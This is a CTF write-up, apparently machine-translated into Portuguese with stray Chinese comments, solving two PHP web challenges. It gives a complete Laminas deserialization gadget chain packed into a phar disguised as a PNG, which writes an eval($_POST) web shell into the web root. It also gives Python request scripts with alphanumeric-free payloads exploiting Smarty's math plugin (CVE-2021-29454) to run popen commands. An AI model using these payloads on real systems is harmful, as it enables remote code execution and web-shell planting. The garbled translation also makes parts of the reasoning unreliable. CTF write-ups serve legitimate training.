Site de fãs
O tópico deu uma dica, e estava relacionado às lâminas.
Digitalize o diretório para obter o código-fonte.
O código de auditoria descobriu que o título tem uma rota de álbum e o controlador tem apenas um /module/Album/src/Controller/AlbumController.php
Ele contém várias funções de processamento, que podem fazer upload de arquivos e excluir arquivos.
Mas a filtragem de arquivos de upload é uma lista de permissões, portanto, não é fácil ignorar.
E não pode haver nenhum conteúdo no conteúdo. <?
HALT_COMPILER
Isso é um pouco sem prata aqui. Por que filtrar HALT_COMPILER relacionado a phar sem motivo.
Procurando a vulnerabilidade deste componente na Internet encontrou uma vulnerabilidade de desserialização https://xz.aliyun.com/t/8975
, é fácil dizer, podemos fazer upload de um arquivo phar e, em seguida, excluir o arquivo e acionar a desserialização ao chamar unlink. Mas você tem que garantir que o conteúdo seja maior que 3kb, então adicione umstr_repeat('123',1000000)
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{
}
class Mail extends AbstractWriter{
protected $eventsToMail = ["echo '<?php eval(\$_POST[1]);?>' > /var/www/public/a.php"]; // cmd cmd cmd
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", str_repeat('123',1000000)); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
A corrente saiu e havia um problema a ser resolvido. Ignore <? e __HALT_COMPILER
para encontrar um artigo online para https://www.wangan.com/p/7fygf7a00f0fd793
gzipar o arquivo phar gerado. Em seguida, altere o sufixo para png.
Obtenha o caminho do arquivo após a conclusão do upload.
Passe phar:///var/www/public/img/00bf23e130fa1e525e332ff03dae345d.png onde o arquivo é excluído
Depois que a espada da formiga é conectada, a bandeira é obtida
Smarty_calculator
Digitalize o plano de fundo para obter o código-fonte
. O nome do título é o site de teste para esta pergunta, o modelo inteligente em php.
Depois de pesquisar, encontrei o cve relacionado CVE-2021-29454 . Depois de usar a matemática no smarty para
aprender uma onda, ela pode ser calculada passando {math equation="(( x + y ) / z )" x=2 y=10 z=2}
.
E há um arquivo relacionado src/Smarty/plugins/function.math.php
no código-fonte. A função eval é encontrada
nele. O assunto do teste deve ser a vulnerabilidade de execução do comando. Voltando, o conteúdo na equação não pode conter acentos graves e $ e O número de parênteses esquerdo e direito deve corresponder. Além disso, uma partida regular também é realizada.
Provavelmente não há nenhum hexadecimal, nenhuma letra no início, caso contrário, entre neste loop foreach.
Ainda é um loop down, se a string usada no conteúdo de entrada não for equação ou formato ou atribuição, uma substituição será executada.
Então, se evitarmos esses dois loops, podemos emendar o conteúdo de entrada e colocá-lo em eval.
É fácil pensar na letra rce sem números. Dessa forma, ele não será correspondido pela expressão regular e outro loop pode ser ignorado (não há outras letras e há apenas um valor de chave em $param).
O roteiro sem números e letras eu escrevi um relativamente completo antes. https://blog.csdn.net/miuzzx/article/details/109143413
Basta usar seu próprio script.
Usando a construção OR, vamos tentar phpinfo primeiro
import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"
data={
'data':urllib.parse.unquote(''' {math equation="1;('%30%28%30%29%2e%26%2f'|'%40%40%40%40%40%40%40')();//" }''')}
r=requests.post(url,data=data,cookies={
'login':'1'})
print(r.text)
Existe df, mas um popen é deixado, então você pode usar popen para executar comandos do sistema.
Adivinhe cegamente que uma onda do caminho do sinalizador é /flag, execute o comando do sistema cp /flag a
, que é para construir uma instrução phppopen('cp /f* a','r')
import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"
data={
'data':urllib.parse.unquote(''' {math equation="1;('%30%2f%30%25%2e'|'%40%40%40%40%40')(('%23%30%00%00%26%00%00%21'|'%40%40%20%2f%40%2a%20%40'),('%32'|'%40'));//" }''')}
r=requests.post(url,data=data,cookies={
'login':'1'})
print(r.text)
Visite /a para obter a bandeira